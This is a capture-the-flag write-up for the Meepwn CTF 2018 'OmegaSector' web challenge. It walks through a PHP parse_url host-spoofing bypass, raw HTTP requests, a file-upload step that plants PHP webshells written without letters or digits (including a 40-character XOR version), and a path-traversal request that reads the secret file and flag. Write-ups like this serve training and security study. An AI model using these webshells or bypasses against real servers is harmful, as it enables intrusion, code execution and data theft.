Information#
Version#
By | Version | Comment |
---|---|---|
noraj | 1.0 | Creation |
CTF#
- Name : Meepwn CTF Quals 2018
- Website : ctf.meepwn.team
- Type : Online
- Format : Jeopardy
- CTF Time : link
OmegaSector - Web#
Wtf !? I just want to go to OmegaSector but there is weird authentication here, please help me
Note: the IP address changed several times during the competition.
Let's take a look at the source:
$ curl http://178.128.87.21:9003/
<html>
<style type="text/css">* {cursor: url(assets/maplcursor.cur), auto !important;}</style>
<head>
<link rel="stylesheet" href="assets/omega_sector.css">
<link rel="stylesheet" href="assets/tsu_effect.css">
</head>
<h2 id="intro" class="neon">Seems like you are not belongs to this place, please comeback to ludibrium!</h2><img src="assets/map.jpg" id="taxi" width="55%" height="55%" /><body background="assets/background.jpg" class="cenback">
</body>
<!-- is_debug=1 -->
<!-- All images/medias credit goes to nexon, wizet -->
</html>
Nice! A debug page, now try: http://178.128.87.21:9003/?is_debug=1
and get the source code.
<?php
ob_start();
session_start();
?>
<html>
<style type="text/css">* {cursor: url(assets/maplcursor.cur), auto !important;}</style>
<head>
<link rel="stylesheet" href="assets/omega_sector.css">
<link rel="stylesheet" href="assets/tsu_effect.css">
</head>
<?php
ini_set("display_errors", 0);
include('secret.php');
$remote=$_SERVER['REQUEST_URI'];
if(strpos(urldecode($remote),'..'))
{
mapl_die();
}
if(!parse_url($remote, PHP_URL_HOST))
{
$remote='http://'.$_SERVER['REMOTE_ADDR'].$_SERVER['REQUEST_URI'];
}
$whoareyou=parse_url($remote, PHP_URL_HOST);
if($whoareyou==="alien.somewhere.meepwn.team")
{
if(!isset($_GET['alien']))
{
$wrong = <<<EOF
<h2 id="intro" class="neon">You will be driven to hidden-street place in omega sector which is only for alien! Please verify your credentials first to get into the taxi!</h2>
<h1 id="main" class="shadow">Are You ALIEN??</h1>
<form id="main">
<button type="submit" class="button-success" name="alien" value="Yes">Yes</button>
<button type="submit" class="button-error" name="alien" value="No">No</button>
</form>
<img src="assets/taxi.png" id="taxi" width="15%" height="20%" />
EOF;
echo $wrong;
}
if(isset($_GET['alien']) and !empty($_GET['alien']))
{
if($_GET['alien']==='@!#$@!@@')
{
$_SESSION['auth']=hash('sha256', 'alien'.$salt);
exit(header( "Location: alien_sector.php" ));
}
else
{
mapl_die();
}
}
}
elseif($whoareyou==="human.ludibrium.meepwn.team")
{
if(!isset($_GET['human']))
{
echo "";
$wrong = <<<EOF
<h2 id="intro" class="neon">hellu human, welcome to omega sector, please verify your credentials to get into the taxi!</h2>
<h1 id="main" class="shadow">Are You Human?</h1>
<form id="main">
<button type="submit" class="button-success" name="human" value="Yes">Yes</button>
<button type="submit" class="button-error" name="human" value="No">No</button>
</form>
<img src="assets/taxi.png" id="taxi" width="15%" height="20%" />
EOF;
echo $wrong;
}
if(isset($_GET['human']) and !empty($_GET['human']))
{
if($_GET['human']==='Yes')
{
$_SESSION['auth']=hash('sha256', 'human'.$salt);
exit(header( "Location: omega_sector.php" ));
}
else
{
mapl_die();
}
}
}
else
{
echo '<h2 id="intro" class="neon">Seems like you are not belongs to this place, please comeback to ludibrium!</h2>';
echo '<img src="assets/map.jpg" id="taxi" width="55%" height="55%" />';
if(isset($_GET['is_debug']) and !empty($_GET['is_debug']) and $_GET['is_debug']==="1")
{
show_source(__FILE__);
}
}
?>
<body background="assets/background.jpg" class="cenback">
</body>
<!-- is_debug=1 -->
<!-- All images/medias credit goes to nexon, wizet -->
</html>
<?php ob_end_flush(); ?>
Let's focus on that piece of code:
if(strpos(urldecode($remote),'..'))
{
mapl_die();
}
if(!parse_url($remote, PHP_URL_HOST))
{
$remote='http://'.$_SERVER['REMOTE_ADDR'].$_SERVER['REQUEST_URI'];
}
$whoareyou=parse_url($remote, PHP_URL_HOST);
if($whoareyou==="alien.somewhere.meepwn.team")
We are requesting http://138.68.228.12/
but we need to make it looks like it was http://human.ludibrium.meepwn.team/
or http://alien.somewhere.meepwn.team/
.
Sounds impossible right?
Then we quickly found a vulnerability called PHP < 5.6.28 parse_url() bypass HOST to return fake host
.
Here are some great resources about it:
- https://rstforums.com/forum/topic/105649-php-5628-parse_url-bypass-host-to-return-fake-host/
- https://bugs.php.net/bug.php?id=73192
- https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf
So I tried some requests like that:
$ curl -v "http://138.68.228.12:80?@human.ludibrium.meepwn.team&human=Yes"
$ curl -v "http://138.68.228.12:80?@alien.somewhere.meepwn.team&alien=%40%21%23%24%40%21%40%40"
$ curl -v "http://138.68.228.12:80?@human.ludibrium.meepwn.team/"
$ curl -v "http://138.68.228.12:80#@human.ludibrium.meepwn.team/"
But it didn't worked and after I read the slide from the blackhat US 2017 (page 24) I thought it was because curl was vulnerable and not fixed so curl was trapped before sending the request.
I tried a lot of variations, in perl, in ruby, with wget, but the truth was not here.
Then a member of my team came with a great idea: using the following request in burp.
GET http://alien.somewhere.meepwn.team/?alien=%40%21%23%24%40%21%40%40 HTTP/1.1
Host: 138.68.228.12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=6io9ihsnvah023hju08035frg4
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Oh yeah this time it worked, we are redirected to alien_sector.php
with a valid session.
The same thing worked for the human counterpart too.
On those pages there is a form that allows us to leave a message that is then saved on the web server directory.
Files are saved with .human
or .alien
extension. But we can change the extension to .php
with type=php
.
POST /alien_sector.php HTTP/1.1
Host: 138.68.228.12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://138.68.228.12/alien_sector.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Cookie: PHPSESSID=6io9ihsnvah023hju08035frg4
Connection: close
Upgrade-Insecure-Requests: 1
message=%3c%3f%3f%3e&type=php
Sounds easy now? But it's not at all!
In the alien form we can send a message with all chars we want except letters and numbers else we got Uh huh? Wut is this language?
.
And in the human form we can only use letters and numbers but no other chars even spaces or line feed.
I thought that the human way was impossible. The alien way must be possible with something equivalent to JS brainfuck but in PHP.
So I searched and found this article [Bypass WAF] Php webshell without numbers and letters.
I invite you to read this article. The author is using two methods:
- The first with XOR operation, we can't use this webshell as it involves some letters and numbers
- Another one with an arithmetic operations trick
So let's send this webshell:
<?
$_=[];
$_=@"$_";
$_=$_['!'=='@'];
$___=$_;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$____.=$__;
$_=$$____;
$___($_[_]);
?>
That should have been too easy, now we get this error message Signal OVERLOAD!!!!! only 40 o e i e
. That doesn't make any sens but I understand (and I checked) that our webshell can't be larger than 40 chars.
I didn't have time to make a smaller webshell.
After the CTF was ended, I asked tsug0d (the author of the challenge) how it was possible.
He told me it was a mix of the two methods, this way he can make a webshell that is 40 chars long:
<?=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
// equivalent to $_GET[_]($_GET[__]);
The first part is about xoring:
`{{{
with
?<>/
to create _GET
. So we have $_='_GET'
.
Then ${}
is called variable variables in PHP.
So ${$_}
gives $_GET
.
At the end we get:
<?=$_GET[_]($_GET[__]);
I wanted to try it, so I sent:
POST /alien_sector.php HTTP/1.1
Host: 138.68.228.12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://138.68.228.12/alien_sector.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 127
Cookie: PHPSESSID=6io9ihsnvah023hju08035frg4
Connection: close
Upgrade-Insecure-Requests: 1
message=%3C%3F%3D%24_%3D%22%60%7B%7B%7B%22%5E%22%3F%3C%3E%2F%22%3B%24%7B%24_%7D%5B_%5D%28%24%7B%24_%7D%5B__%5D%29%3B&type=php
highsenburger69 payload to exploit the webshell and reveal the flag:
http://138.68.228.12/alien_message/4e0ef0ca29f448295f9540ae1e618315.php?_=highlight_file&__=../secret.php
So we get:
<?php
$salt='G0g0_M3s0sr4ng3rS_1337';
$omega_sector_flag="MeePwnCTF{__133-221-333-123-111___}";
//Don't attack further after captured our flag, or we will find you and we will kill you... oops, i mean ban you ^_^.
function mapl_die()
{
$wrong = <<<EOF
<body background="assets/wrong.jpg" class="cenback"></body>
EOF;
die($wrong);
}
?>
The challenge was original and hard enough to resist us.